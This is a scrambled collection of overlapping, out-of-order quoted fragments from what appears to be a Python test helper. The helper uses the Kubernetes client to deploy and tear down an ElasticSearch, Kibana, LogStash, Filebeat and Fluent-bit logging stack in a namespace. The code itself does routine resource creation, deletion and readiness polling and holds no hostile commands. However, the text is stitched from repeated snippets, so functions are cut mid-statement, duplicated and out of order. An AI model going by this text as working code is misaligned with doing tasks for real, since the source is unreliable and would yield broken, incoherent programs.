updated_number_scheduled and number_ready ==", "client.CoreV1Api() k8s_client.create_namespaced_service(body=dep, namespace=namespace) except ApiException as e: if e.status ==", "raise e elif dep[\"kind\"] == 'RoleBinding': k8s_client = client.RbacAuthorizationV1Api() dep[\"subjects\"][0][\"namespace\"]", "list_func = k8s_client.list_namespaced_service wait_for_namespaced_deletion(name, namespace, delete_func, list_func) elif dep['kind'] ==", "conf.KIBANA_CONF_DIR) def add_logstash_cluster(namespace): print(\"\\nDeploying LogStash\\n\") add_deployment_dir(namespace, conf.LOGSTASH_CONF_DIR) def add_deployment_dir(namespace, dir_path,", "= [x.strip() for x in dep_order.split(',')] print(dep_lst) for filename in", "kube object crb_name = f\"filebeat-cluster-role-binding-{namespace}\" remove_clusterrole_binding(\"filebeat\", crb_name) def fluent_bit_teardown(namespace): #", "end=\"\\r\") time.sleep(1) if timeout and total_sleep_time > timeout: raise Exception(f\"Timeout", "k8s_client.delete_cluster_role_binding(name=name) elif dep[\"kind\"] == 'ConfigMap': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_config_map(name=name, namespace=namespace)", "= k8s_client.delete_namespaced_service list_func = k8s_client.list_namespaced_service wait_for_namespaced_deletion(name, namespace, delete_func, list_func) elif", "the actual values if exists modified_file_path, is_change = ut.duplicate_file_and_replace_phrases( dir_path,", "= client.RbacAuthorizationV1Api() try: k8s_client.create_cluster_role_binding(body=dep) except ApiException as e: if e.status", "def remove_deployment_dir(namespace, dir_path): with open(os.path.join(dir_path, 'dep_order.txt')) as f: dep_order =", "namespace=namespace) except ApiException as e: if e.status == 409: print(f\"Service", "{dep['metadata']['name']}\") continue raise e elif dep['kind'] == 'PodDisruptionBudget': k8s_client =", "{obj_name} is not a valid value\") def wait_for_to_be_ready(obj_name, name, namespace,", "in dep_order.split(',')] print(dep_lst) phrases_to_replace = [\"(?<!_)NAMESPACE\", \"REP_ES_USER\", \"REP_ES_PASS\"] values_for_replacement =", "client.AppsV1Api() k8s_client.create_namespaced_daemon_set(body=dep, namespace=namespace) elif dep['kind'] == 'Deployment': k8s_client = client.AppsV1Api()", "{0} [size: {1}]: {2} sec\".format(name, number_ready, total_sleep_time, obj_name)) break print(\"{0}/{1}", "clusterrolebind k8s_client = client.RbacAuthorizationV1Api() try: k8s_client.delete_cluster_role_binding(crb_name) print(f\"\\nsuccessfully deleted: {crb_name}\") except", "= client.RbacAuthorizationV1Api() k8s_client.create_cluster_role(body=dep) except ApiException as e: if e.status ==", "binding already exists\") continue raise e elif dep[\"kind\"] == 'ConfigMap':", "True if item.metadata.name == name: deleted = False return deleted", "print(\"\\nDeploying Fluent-bit\\n\") add_deployment_dir(namespace, conf.FLUENT_BIT_CONF_DIR) def add_kibana_cluster(namespace): print(\"\\nDeploying Kibana\\n\") add_deployment_dir(namespace, conf.KIBANA_CONF_DIR)", "phrases with the actual values if exists modified_file_path, is_change =", "validate item was deleted for item in list_func(namespace).items: deleted =", "True: read_func = resolve_read_status_func(obj_name) resp = read_func(name=name, namespace=namespace) total_sleep_time =", "k8s_client = client.PolicyV1beta1Api() k8s_client.create_namespaced_pod_disruption_budget(body=dep, namespace=namespace) elif dep[\"kind\"] == 'Role': k8s_client", "wait_for_daemonset_to_be_ready(name, namespace, timeout=None): wait_for_to_be_ready(\"daemonset\", name, namespace, timeout=timeout) def resolve_read_status_func(obj_name): if", "import datetime from kubernetes import client from kubernetes.client.rest import ApiException", "f.readline() dep_lst = [x.strip() for x in dep_order.split(',')] print(dep_lst) phrases_to_replace", "= timeout while not deleted: # find by name and", "(datetime.now()-start).total_seconds() number_ready = resp.status.number_ready updated_number_scheduled = resp.status.updated_number_scheduled if number_ready and", "conf.LOGSTASH_CONF_DIR) def add_deployment_dir(namespace, dir_path, delete=False): with open(os.path.join(dir_path, 'dep_order.txt')) as f:", "elif dep[\"kind\"] == 'ClusterRole': try: k8s_client = client.RbacAuthorizationV1Api() k8s_client.create_cluster_role(body=dep) except", "def add_logstash_cluster(namespace): print(\"\\nDeploying LogStash\\n\") add_deployment_dir(namespace, conf.LOGSTASH_CONF_DIR) def add_deployment_dir(namespace, dir_path, delete=False):", "== 409: print(f\"cluster role binding already exists\") continue raise e", "os.path.join(dir_path, filename) and is_change: # remove modified file ut.delete_file(modified_file_path) name", "k8s_client.create_namespaced_stateful_set(body=dep, namespace=namespace) else: k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif dep['kind'] == 'DaemonSet': k8s_client", "e elif dep[\"kind\"] == 'RoleBinding': k8s_client = client.RbacAuthorizationV1Api() dep[\"subjects\"][0][\"namespace\"] =", "f\"{namespace}_{filename}\", phrases_to_replace, values_for_replacement ) print(f\"applying file: {filename}\") with open(modified_file_path) as", "role binding already exists\") continue raise e elif dep[\"kind\"] ==", "elif dep['kind'] == 'DaemonSet': k8s_client = client.AppsV1Api() k8s_client.create_namespaced_daemon_set(body=dep, namespace=namespace) elif", "elif dep[\"kind\"] == 'RoleBinding': k8s_client = client.RbacAuthorizationV1Api() dep[\"subjects\"][0][\"namespace\"] = namespace", "= client.AppsV1Api() k8s_client.delete_namespaced_daemon_set(name=name, namespace=namespace) elif dep['kind'] == 'Deployment': k8s_client =", "for filename in dep_lst: print(f\"deleting {filename}\") with open(os.path.join(dir_path, filename)) as", "dep_order.split(',')] print(dep_lst) for filename in dep_lst: print(f\"deleting {filename}\") with open(os.path.join(dir_path,", "if number_ready and updated_number_scheduled and number_ready == updated_number_scheduled: print(\"Total time", "add_deployment_dir(namespace, dir_path, delete=False): with open(os.path.join(dir_path, 'dep_order.txt')) as f: dep_order =", "deleted = False orig_timeout = timeout while not deleted: #", "try: k8s_client = client.RbacAuthorizationV1Api() k8s_client.create_cluster_role(body=dep) except ApiException as e: if", "= dep[\"metadata\"][\"name\"] if dep['kind'] == 'StatefulSet': k8s_client = client.AppsV1Api() if", "continue raise e elif dep['kind'] == 'PodDisruptionBudget': k8s_client = client.PolicyV1beta1Api()", "elif dep[\"kind\"] == 'ServiceAccount': k8s_client = client.CoreV1Api() k8s_client.create_namespaced_service_account(body=dep, namespace=namespace) print(\"\\nDone\\n\")", "ApiException import os import time import yaml from tests import", "as e: if e.status == 409: print(f\"cluster role binding already", "deleted = True if item.metadata.name == name: deleted = False", "Exception as e: print(f\"\\n{shipper_name} cluster role binding deletion has failed,", "dep = yaml.safe_load(f) if modified_file_path != os.path.join(dir_path, filename) and is_change:", "item in list_func(namespace).items: if item.metadata.name == name: if timeout <", "not delete: k8s_client.create_namespaced_stateful_set(body=dep, namespace=namespace) else: k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif dep['kind'] ==", "== 'ServiceAccount': k8s_client = client.CoreV1Api() k8s_client.create_namespaced_service_account(body=dep, namespace=namespace) print(\"\\nDone\\n\") def remove_deployment_dir(namespace,", "print(dep_lst) phrases_to_replace = [\"(?<!_)NAMESPACE\", \"REP_ES_USER\", \"REP_ES_PASS\"] values_for_replacement = [namespace, conf.ES_USER_LOCAL,", "except Exception as e: print(f\"\\n{shipper_name} cluster role binding deletion has", "< 0: raise TimeoutError(f\"{orig_timeout} was not enough for deleting item:\\n{item}\\n\")", "please manually delete {crb_name}:\") print(f\"kubectl delete clusterrolebinding {crb_name}\") def filebeat_teardown(namespace):", "updated_number_scheduled, total_sleep_time), end=\"\\r\") time.sleep(1) if timeout and total_sleep_time > timeout:", "> timeout: raise Exception(f\"Timeout waiting for {obj_name} to be ready\")", "modified file ut.delete_file(modified_file_path) name = dep[\"metadata\"][\"name\"] if dep['kind'] == 'StatefulSet':", "if item.metadata.name == name: if timeout < 0: raise TimeoutError(f\"{orig_timeout}", "print(\"\\nDeploying Kibana\\n\") add_deployment_dir(namespace, conf.KIBANA_CONF_DIR) def add_logstash_cluster(namespace): print(\"\\nDeploying LogStash\\n\") add_deployment_dir(namespace, conf.LOGSTASH_CONF_DIR)", "namespace=namespace) elif dep['kind'] == 'Service': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_service(name=name, namespace=namespace,", "dep[\"kind\"] == 'ClusterRoleBinding': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_cluster_role_binding(name=name) elif dep[\"kind\"] ==", "add_deployment_dir(namespace, conf.FLUENT_BIT_CONF_DIR) def add_kibana_cluster(namespace): print(\"\\nDeploying Kibana\\n\") add_deployment_dir(namespace, conf.KIBANA_CONF_DIR) def add_logstash_cluster(namespace):", "f\"filebeat-cluster-role-binding-{namespace}\" remove_clusterrole_binding(\"filebeat\", crb_name) def fluent_bit_teardown(namespace): # remove clusterrolebind # TODO:", "e: print(f\"\\n{shipper_name} cluster role binding deletion has failed, please manually", "409: print(f\"Service exists: {dep['metadata']['name']}\") continue raise e elif dep['kind'] ==", "delete requested item for item in list_func(namespace).items: if item.metadata.name ==", "actual values if exists modified_file_path, is_change = ut.duplicate_file_and_replace_phrases( dir_path, filename,", "timeout=None): wait_for_to_be_ready(\"daemonset\", name, namespace, timeout=timeout) def resolve_read_status_func(obj_name): if obj_name ==", "if modified_file_path != os.path.join(dir_path, filename) and is_change: # remove modified", "'ServiceAccount': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_service_account(name=name, namespace=namespace) print(\"\\nDone\\n\") def wait_for_namespaced_deletion(name, namespace,", "ready {2} sec \".format(number_ready, updated_number_scheduled, total_sleep_time), end=\"\\r\") time.sleep(1) if timeout", "k8s_client = client.RbacAuthorizationV1Api() k8s_client.create_cluster_role(body=dep) except ApiException as e: if e.status", "is not a valid value\") def wait_for_to_be_ready(obj_name, name, namespace, timeout=None):", "manually delete {crb_name}:\") print(f\"kubectl delete clusterrolebinding {crb_name}\") def filebeat_teardown(namespace): #", "value\") def wait_for_to_be_ready(obj_name, name, namespace, timeout=None): start = datetime.now() while", "if e.status == 409: print(f\"cluster role already exists\") continue raise", "if e.status == 409: print(f\"cluster role binding already exists\") continue", "ut.duplicate_file_and_replace_phrases( dir_path, filename, f\"{namespace}_{filename}\", phrases_to_replace, values_for_replacement ) print(f\"applying file: {filename}\")", "fluent_bit_teardown(namespace): # remove clusterrolebind # TODO: find a solution for", "remove_deployment_dir(namespace, dir_path): with open(os.path.join(dir_path, 'dep_order.txt')) as f: dep_order = f.readline()", "client.AppsV1Api() k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif dep['kind'] == 'DaemonSet': k8s_client = client.AppsV1Api()", "'StatefulSet': k8s_client = client.AppsV1Api() if not delete: k8s_client.create_namespaced_stateful_set(body=dep, namespace=namespace) else:", "print(\"\\nDeploying FileBeat\\n\") add_deployment_dir(namespace, conf.FILEBEAT_CONF_DIR) def add_fluent_bit_cluster(namespace): print(\"\\nDeploying Fluent-bit\\n\") add_deployment_dir(namespace, conf.FLUENT_BIT_CONF_DIR)", "else: k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif dep['kind'] == 'DaemonSet': k8s_client = client.AppsV1Api()", "is_change: # remove modified file ut.delete_file(modified_file_path) name = dep[\"metadata\"][\"name\"] if", "= client.RbacAuthorizationV1Api() dep[\"subjects\"][0][\"namespace\"] = namespace k8s_client.create_namespaced_role_binding(body=dep, namespace=namespace) elif dep[\"kind\"] ==", "deleted def wait_for_daemonset_to_be_ready(name, namespace, timeout=None): wait_for_to_be_ready(\"daemonset\", name, namespace, timeout=timeout) def", "item in list_func(namespace).items: deleted = True if item.metadata.name == name:", "deleted for item in list_func(namespace).items: deleted = True if item.metadata.name", "for sharing the name both here and in the kube", "k8s_client.list_namespaced_service wait_for_namespaced_deletion(name, namespace, delete_func, list_func) elif dep['kind'] == 'PodDisruptionBudget': k8s_client", "FileBeat\\n\") add_deployment_dir(namespace, conf.FILEBEAT_CONF_DIR) def add_fluent_bit_cluster(namespace): print(\"\\nDeploying Fluent-bit\\n\") add_deployment_dir(namespace, conf.FLUENT_BIT_CONF_DIR) def", "= client.AppsV1Api() k8s_client.create_namespaced_deployment(body=dep, namespace=namespace) elif dep['kind'] == 'Service': try: k8s_client", "client.RbacAuthorizationV1Api() try: k8s_client.delete_cluster_role_binding(crb_name) print(f\"\\nsuccessfully deleted: {crb_name}\") except Exception as e:", "pods ready {2} sec \".format(number_ready, updated_number_scheduled, total_sleep_time), end=\"\\r\") time.sleep(1) if", "try: k8s_client.create_cluster_role_binding(body=dep) except ApiException as e: if e.status == 409:", "False return deleted def wait_for_daemonset_to_be_ready(name, namespace, timeout=None): wait_for_to_be_ready(\"daemonset\", name, namespace,", "for x in dep_order.split(',')] print(dep_lst) phrases_to_replace = [\"(?<!_)NAMESPACE\", \"REP_ES_USER\", \"REP_ES_PASS\"]", "from kubernetes import client from kubernetes.client.rest import ApiException import os", "namespace=namespace) print(\"\\nDone\\n\") def remove_deployment_dir(namespace, dir_path): with open(os.path.join(dir_path, 'dep_order.txt')) as f:", "import time import yaml from tests import config as conf", "item was deleted for item in list_func(namespace).items: deleted = True", "timeout < 0: raise TimeoutError(f\"{orig_timeout} was not enough for deleting", "= client.AppsV1Api() k8s_client.delete_namespaced_deployment(name=name, namespace=namespace) elif dep['kind'] == 'Service': k8s_client =", "add_fluent_bit_cluster(namespace): print(\"\\nDeploying Fluent-bit\\n\") add_deployment_dir(namespace, conf.FLUENT_BIT_CONF_DIR) def add_kibana_cluster(namespace): print(\"\\nDeploying Kibana\\n\") add_deployment_dir(namespace,", "LogStash\\n\") add_deployment_dir(namespace, conf.LOGSTASH_CONF_DIR) def add_deployment_dir(namespace, dir_path, delete=False): with open(os.path.join(dir_path, 'dep_order.txt'))", "k8s_client.create_namespaced_deployment(body=dep, namespace=namespace) elif dep['kind'] == 'Service': try: k8s_client = client.CoreV1Api()", "k8s_client.create_namespaced_service_account(body=dep, namespace=namespace) print(\"\\nDone\\n\") def remove_deployment_dir(namespace, dir_path): with open(os.path.join(dir_path, 'dep_order.txt')) as", "k8s_client = client.RbacAuthorizationV1Api() try: k8s_client.create_cluster_role_binding(body=dep) except ApiException as e: if", "k8s_client = client.AppsV1Api() k8s_client.create_namespaced_deployment(body=dep, namespace=namespace) elif dep['kind'] == 'Service': try:", "namespace=namespace) elif dep[\"kind\"] == 'Role': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role(name=name, namespace=namespace)", "total_sleep_time), end=\"\\r\") time.sleep(1) if timeout and total_sleep_time > timeout: raise", "Kibana\\n\") add_deployment_dir(namespace, conf.KIBANA_CONF_DIR) def add_logstash_cluster(namespace): print(\"\\nDeploying LogStash\\n\") add_deployment_dir(namespace, conf.LOGSTASH_CONF_DIR) def", "timeout -= 1 # validate item was deleted for item", "= datetime.now() while True: read_func = resolve_read_status_func(obj_name) resp = read_func(name=name,", "'StatefulSet': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif dep['kind'] == 'DaemonSet':", "read_func(name=name, namespace=namespace) total_sleep_time = (datetime.now()-start).total_seconds() number_ready = resp.status.number_ready updated_number_scheduled =", "print(f\"\\n{shipper_name} cluster role binding deletion has failed, please manually delete", "elif dep['kind'] == 'Deployment': k8s_client = client.AppsV1Api() k8s_client.create_namespaced_deployment(body=dep, namespace=namespace) elif", "'Service': try: k8s_client = client.CoreV1Api() k8s_client.create_namespaced_service(body=dep, namespace=namespace) except ApiException as", "remove clusterrolebind # TODO: find a solution for sharing the", "import client from kubernetes.client.rest import ApiException import os import time", "\"REP_ES_USER\", \"REP_ES_PASS\"] values_for_replacement = [namespace, conf.ES_USER_LOCAL, conf.ES_PASS_LOCAL] for filename in", "remove_clusterrole_binding(\"filebeat\", crb_name) def fluent_bit_teardown(namespace): # remove clusterrolebind # TODO: find", "client.PolicyV1beta1Api() k8s_client.delete_namespaced_pod_disruption_budget(name=name, namespace=namespace) elif dep[\"kind\"] == 'Role': k8s_client = client.RbacAuthorizationV1Api()", "= [x.strip() for x in dep_order.split(',')] print(dep_lst) phrases_to_replace = [\"(?<!_)NAMESPACE\",", "wait_for_namespaced_deletion(name, namespace, deletion_func, list_func, timeout=15): deleted = False orig_timeout =", "deleted: # find by name and delete requested item for", "here and in the kube object crb_name = f\"filebeat-cluster-role-binding-{namespace}\" remove_clusterrole_binding(\"filebeat\",", "dep['kind'] == 'Deployment': k8s_client = client.AppsV1Api() k8s_client.create_namespaced_deployment(body=dep, namespace=namespace) elif dep['kind']", "f: dep = yaml.safe_load(f) if modified_file_path != os.path.join(dir_path, filename) and", "409: print(f\"cluster role already exists\") continue raise e elif dep[\"kind\"]", "client.RbacAuthorizationV1Api() try: k8s_client.create_cluster_role_binding(body=dep) except ApiException as e: if e.status ==", "delete_func = k8s_client.delete_namespaced_service list_func = k8s_client.list_namespaced_service wait_for_namespaced_deletion(name, namespace, delete_func, list_func)", "number_ready = resp.status.number_ready updated_number_scheduled = resp.status.updated_number_scheduled if number_ready and updated_number_scheduled", "print(\"{0}/{1} pods ready {2} sec \".format(number_ready, updated_number_scheduled, total_sleep_time), end=\"\\r\") time.sleep(1)", "delete: k8s_client.create_namespaced_stateful_set(body=dep, namespace=namespace) else: k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif dep['kind'] == 'DaemonSet':", "in dep_order.split(',')] print(dep_lst) for filename in dep_lst: print(f\"deleting {filename}\") with", "# TODO: find a solution for sharing the name both", "not deleted: # find by name and delete requested item", "== 'ClusterRoleBinding': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_cluster_role_binding(name=name) elif dep[\"kind\"] == 'ConfigMap':", "k8s_client.delete_namespaced_daemon_set(name=name, namespace=namespace) elif dep['kind'] == 'Deployment': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_deployment(name=name,", "= resp.status.number_ready updated_number_scheduled = resp.status.updated_number_scheduled if number_ready and updated_number_scheduled and", "k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_deployment(name=name, namespace=namespace) elif dep['kind'] == 'Service': k8s_client", "in list_func(namespace).items: if item.metadata.name == name: if timeout < 0:", "k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_config_map(name=name, namespace=namespace) elif dep[\"kind\"] == 'ServiceAccount': k8s_client", "k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_daemon_set(name=name, namespace=namespace) elif dep['kind'] == 'Deployment': k8s_client", "add_deployment_dir(namespace, conf.KIBANA_CONF_DIR) def add_logstash_cluster(namespace): print(\"\\nDeploying LogStash\\n\") add_deployment_dir(namespace, conf.LOGSTASH_CONF_DIR) def add_deployment_dir(namespace,", "dep[\"kind\"] == 'RoleBinding': k8s_client = client.RbacAuthorizationV1Api() dep[\"subjects\"][0][\"namespace\"] = namespace k8s_client.create_namespaced_role_binding(body=dep,", "k8s_client.create_namespaced_daemon_set(body=dep, namespace=namespace) elif dep['kind'] == 'Deployment': k8s_client = client.AppsV1Api() k8s_client.create_namespaced_deployment(body=dep,", "def fluent_bit_teardown(namespace): # remove clusterrolebind # TODO: find a solution", "elif dep[\"kind\"] == 'ServiceAccount': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_service_account(name=name, namespace=namespace) print(\"\\nDone\\n\")", "[size: {1}]: {2} sec\".format(name, number_ready, total_sleep_time, obj_name)) break print(\"{0}/{1} pods", "already exists\") continue raise e elif dep[\"kind\"] == 'RoleBinding': k8s_client", "'RoleBinding': k8s_client = client.RbacAuthorizationV1Api() dep[\"subjects\"][0][\"namespace\"] = namespace k8s_client.create_namespaced_role_binding(body=dep, namespace=namespace) elif", "print(f\"service {name} was not deleted, retrying\") time.sleep(1) timeout -= 1", "was deleted for item in list_func(namespace).items: deleted = True if", "= client.AppsV1Api() k8s_client.create_namespaced_daemon_set(body=dep, namespace=namespace) elif dep['kind'] == 'Deployment': k8s_client =", "open(os.path.join(dir_path, 'dep_order.txt')) as f: dep_order = f.readline() dep_lst = [x.strip()", "resp.status.updated_number_scheduled if number_ready and updated_number_scheduled and number_ready == updated_number_scheduled: print(\"Total", "= client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role_binding(name=name, namespace=namespace) elif dep[\"kind\"] == 'ClusterRoleBinding': k8s_client =", "as f: dep = yaml.safe_load(f) if modified_file_path != os.path.join(dir_path, filename)", "list_func(namespace).items: if item.metadata.name == name: if timeout < 0: raise", "crb_name) def add_elastic_cluster(namespace): print(\"\\nDeploying ElasticSearch\\n\") add_deployment_dir(namespace, conf.ELASTIC_CONF_DIR) def add_filebeat_cluster(namespace): print(\"\\nDeploying", "print(\"\\nDeploying LogStash\\n\") add_deployment_dir(namespace, conf.LOGSTASH_CONF_DIR) def add_deployment_dir(namespace, dir_path, delete=False): with open(os.path.join(dir_path,", "delete {crb_name}:\") print(f\"kubectl delete clusterrolebinding {crb_name}\") def filebeat_teardown(namespace): # remove", "as f: dep = yaml.safe_load(f) name = dep[\"metadata\"][\"name\"] if dep['kind']", "if exists modified_file_path, is_change = ut.duplicate_file_and_replace_phrases( dir_path, filename, f\"{namespace}_{filename}\", phrases_to_replace,", "add_kibana_cluster(namespace): print(\"\\nDeploying Kibana\\n\") add_deployment_dir(namespace, conf.KIBANA_CONF_DIR) def add_logstash_cluster(namespace): print(\"\\nDeploying LogStash\\n\") add_deployment_dir(namespace,", "e: if e.status == 409: print(f\"Service exists: {dep['metadata']['name']}\") continue raise", "'ServiceAccount': k8s_client = client.CoreV1Api() k8s_client.create_namespaced_service_account(body=dep, namespace=namespace) print(\"\\nDone\\n\") def remove_deployment_dir(namespace, dir_path):", "namespace=namespace) else: k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif dep['kind'] == 'DaemonSet': k8s_client =", "k8s_client = client.CoreV1Api() k8s_client.create_namespaced_config_map(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ServiceAccount': k8s_client", "clusterrolebind # TODO: find a solution for sharing the name", "Fluent-bit\\n\") add_deployment_dir(namespace, conf.FLUENT_BIT_CONF_DIR) def add_kibana_cluster(namespace): print(\"\\nDeploying Kibana\\n\") add_deployment_dir(namespace, conf.KIBANA_CONF_DIR) def", "{3} {0} [size: {1}]: {2} sec\".format(name, number_ready, total_sleep_time, obj_name)) break", "k8s_client.create_namespaced_pod_disruption_budget(body=dep, namespace=namespace) elif dep[\"kind\"] == 'Role': k8s_client = client.RbacAuthorizationV1Api() k8s_client.create_namespaced_role(body=dep,", "client.CoreV1Api() k8s_client.create_namespaced_config_map(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ServiceAccount': k8s_client = client.CoreV1Api()", "object crb_name = f\"filebeat-cluster-role-binding-{namespace}\" remove_clusterrole_binding(\"filebeat\", crb_name) def fluent_bit_teardown(namespace): # remove", "kubernetes.client.rest import ApiException import os import time import yaml from", "import yaml from tests import config as conf import tests.utils", "modified_file_path, is_change = ut.duplicate_file_and_replace_phrases( dir_path, filename, f\"{namespace}_{filename}\", phrases_to_replace, values_for_replacement )", "# remove modified file ut.delete_file(modified_file_path) name = dep[\"metadata\"][\"name\"] if dep['kind']", "add_deployment_dir(namespace, conf.LOGSTASH_CONF_DIR) def add_deployment_dir(namespace, dir_path, delete=False): with open(os.path.join(dir_path, 'dep_order.txt')) as", "== 'ConfigMap': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_config_map(name=name, namespace=namespace) elif dep[\"kind\"] ==", "for item in list_func(namespace).items: deleted = True if item.metadata.name ==", "dep['kind'] == 'DaemonSet': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_daemon_set(name=name, namespace=namespace) elif dep['kind']", "as ut def remove_clusterrole_binding(shipper_name, crb_name): # remove clusterrolebind k8s_client =", "with the actual values if exists modified_file_path, is_change = ut.duplicate_file_and_replace_phrases(", "def resolve_read_status_func(obj_name): if obj_name == \"daemonset\": return client.AppsV1Api().read_namespaced_daemon_set_status else: raise", "with open(modified_file_path) as f: dep = yaml.safe_load(f) if modified_file_path !=", "open(modified_file_path) as f: dep = yaml.safe_load(f) if modified_file_path != os.path.join(dir_path,", "== 'PodDisruptionBudget': k8s_client = client.PolicyV1beta1Api() k8s_client.create_namespaced_pod_disruption_budget(body=dep, namespace=namespace) elif dep[\"kind\"] ==", "deleted = False return deleted def wait_for_daemonset_to_be_ready(name, namespace, timeout=None): wait_for_to_be_ready(\"daemonset\",", "add_deployment_dir(namespace, conf.FILEBEAT_CONF_DIR) def add_fluent_bit_cluster(namespace): print(\"\\nDeploying Fluent-bit\\n\") add_deployment_dir(namespace, conf.FLUENT_BIT_CONF_DIR) def add_kibana_cluster(namespace):", "{2} sec \".format(number_ready, updated_number_scheduled, total_sleep_time), end=\"\\r\") time.sleep(1) if timeout and", "tests.utils as ut def remove_clusterrole_binding(shipper_name, crb_name): # remove clusterrolebind k8s_client", "number_ready == updated_number_scheduled: print(\"Total time waiting for {3} {0} [size:", "filename in dep_lst: # replace all phrases with the actual", "exists modified_file_path, is_change = ut.duplicate_file_and_replace_phrases( dir_path, filename, f\"{namespace}_{filename}\", phrases_to_replace, values_for_replacement", "k8s_client = client.AppsV1Api() k8s_client.create_namespaced_daemon_set(body=dep, namespace=namespace) elif dep['kind'] == 'Deployment': k8s_client", "namespace, delete_func, list_func) elif dep['kind'] == 'PodDisruptionBudget': k8s_client = client.PolicyV1beta1Api()", "by name and delete requested item for item in list_func(namespace).items:", "wait_for_to_be_ready(\"daemonset\", name, namespace, timeout=timeout) def resolve_read_status_func(obj_name): if obj_name == \"daemonset\":", "exists\") continue raise e elif dep[\"kind\"] == 'ConfigMap': k8s_client =", "def add_kibana_cluster(namespace): print(\"\\nDeploying Kibana\\n\") add_deployment_dir(namespace, conf.KIBANA_CONF_DIR) def add_logstash_cluster(namespace): print(\"\\nDeploying LogStash\\n\")", "== 'RoleBinding': k8s_client = client.RbacAuthorizationV1Api() dep[\"subjects\"][0][\"namespace\"] = namespace k8s_client.create_namespaced_role_binding(body=dep, namespace=namespace)", "filename) and is_change: # remove modified file ut.delete_file(modified_file_path) name =", "yaml.safe_load(f) if modified_file_path != os.path.join(dir_path, filename) and is_change: # remove", "both here and in the kube object crb_name = f\"fluent-bit-clusterrole-binding-{namespace}\"", "print(f\"applying file: {filename}\") with open(modified_file_path) as f: dep = yaml.safe_load(f)", "crb_name) def fluent_bit_teardown(namespace): # remove clusterrolebind # TODO: find a", "dep[\"subjects\"][0][\"namespace\"] = namespace k8s_client.create_namespaced_role_binding(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ClusterRoleBinding': k8s_client", "import os import time import yaml from tests import config", "name both here and in the kube object crb_name =", "elif dep['kind'] == 'Deployment': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_deployment(name=name, namespace=namespace) elif", "for filename in dep_lst: # replace all phrases with the", "== 'Service': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_service(name=name, namespace=namespace, grace_period_seconds=0) delete_func =", "== 409: print(f\"cluster role already exists\") continue raise e elif", "def add_fluent_bit_cluster(namespace): print(\"\\nDeploying Fluent-bit\\n\") add_deployment_dir(namespace, conf.FLUENT_BIT_CONF_DIR) def add_kibana_cluster(namespace): print(\"\\nDeploying Kibana\\n\")", "from kubernetes.client.rest import ApiException import os import time import yaml", "== 'DaemonSet': k8s_client = client.AppsV1Api() k8s_client.create_namespaced_daemon_set(body=dep, namespace=namespace) elif dep['kind'] ==", "dep[\"kind\"] == 'ClusterRoleBinding': k8s_client = client.RbacAuthorizationV1Api() try: k8s_client.create_cluster_role_binding(body=dep) except ApiException", "= k8s_client.list_namespaced_service wait_for_namespaced_deletion(name, namespace, delete_func, list_func) elif dep['kind'] == 'PodDisruptionBudget':", "ValueError(f\"resolve_read_status_func: {obj_name} is not a valid value\") def wait_for_to_be_ready(obj_name, name,", "f: dep = yaml.safe_load(f) name = dep[\"metadata\"][\"name\"] if dep['kind'] ==", "def add_deployment_dir(namespace, dir_path, delete=False): with open(os.path.join(dir_path, 'dep_order.txt')) as f: dep_order", "yaml from tests import config as conf import tests.utils as", "client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role(name=name, namespace=namespace) elif dep[\"kind\"] == 'RoleBinding': k8s_client = client.RbacAuthorizationV1Api()", "time.sleep(1) if timeout and total_sleep_time > timeout: raise Exception(f\"Timeout waiting", "# remove clusterrolebind k8s_client = client.RbacAuthorizationV1Api() try: k8s_client.delete_cluster_role_binding(crb_name) print(f\"\\nsuccessfully deleted:", "item.metadata.name == name: if timeout < 0: raise TimeoutError(f\"{orig_timeout} was", "for item in list_func(namespace).items: if item.metadata.name == name: if timeout", "print(\"\\nDeploying ElasticSearch\\n\") add_deployment_dir(namespace, conf.ELASTIC_CONF_DIR) def add_filebeat_cluster(namespace): print(\"\\nDeploying FileBeat\\n\") add_deployment_dir(namespace, conf.FILEBEAT_CONF_DIR)", "if item.metadata.name == name: deleted = False return deleted def", "= False return deleted def wait_for_daemonset_to_be_ready(name, namespace, timeout=None): wait_for_to_be_ready(\"daemonset\", name,", "= client.CoreV1Api() k8s_client.delete_namespaced_service_account(name=name, namespace=namespace) print(\"\\nDone\\n\") def wait_for_namespaced_deletion(name, namespace, deletion_func, list_func,", "print(\"\\nDone\\n\") def remove_deployment_dir(namespace, dir_path): with open(os.path.join(dir_path, 'dep_order.txt')) as f: dep_order", "k8s_client.delete_namespaced_service(name=name, namespace=namespace, grace_period_seconds=0) delete_func = k8s_client.delete_namespaced_service list_func = k8s_client.list_namespaced_service wait_for_namespaced_deletion(name,", "'DaemonSet': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_daemon_set(name=name, namespace=namespace) elif dep['kind'] == 'Deployment':", "{crb_name}:\") print(f\"kubectl delete clusterrolebinding {crb_name}\") def filebeat_teardown(namespace): # remove clusterrolebind", "elif dep[\"kind\"] == 'Role': k8s_client = client.RbacAuthorizationV1Api() k8s_client.create_namespaced_role(body=dep, namespace=namespace) elif", "== 'ServiceAccount': k8s_client = client.CoreV1Api() 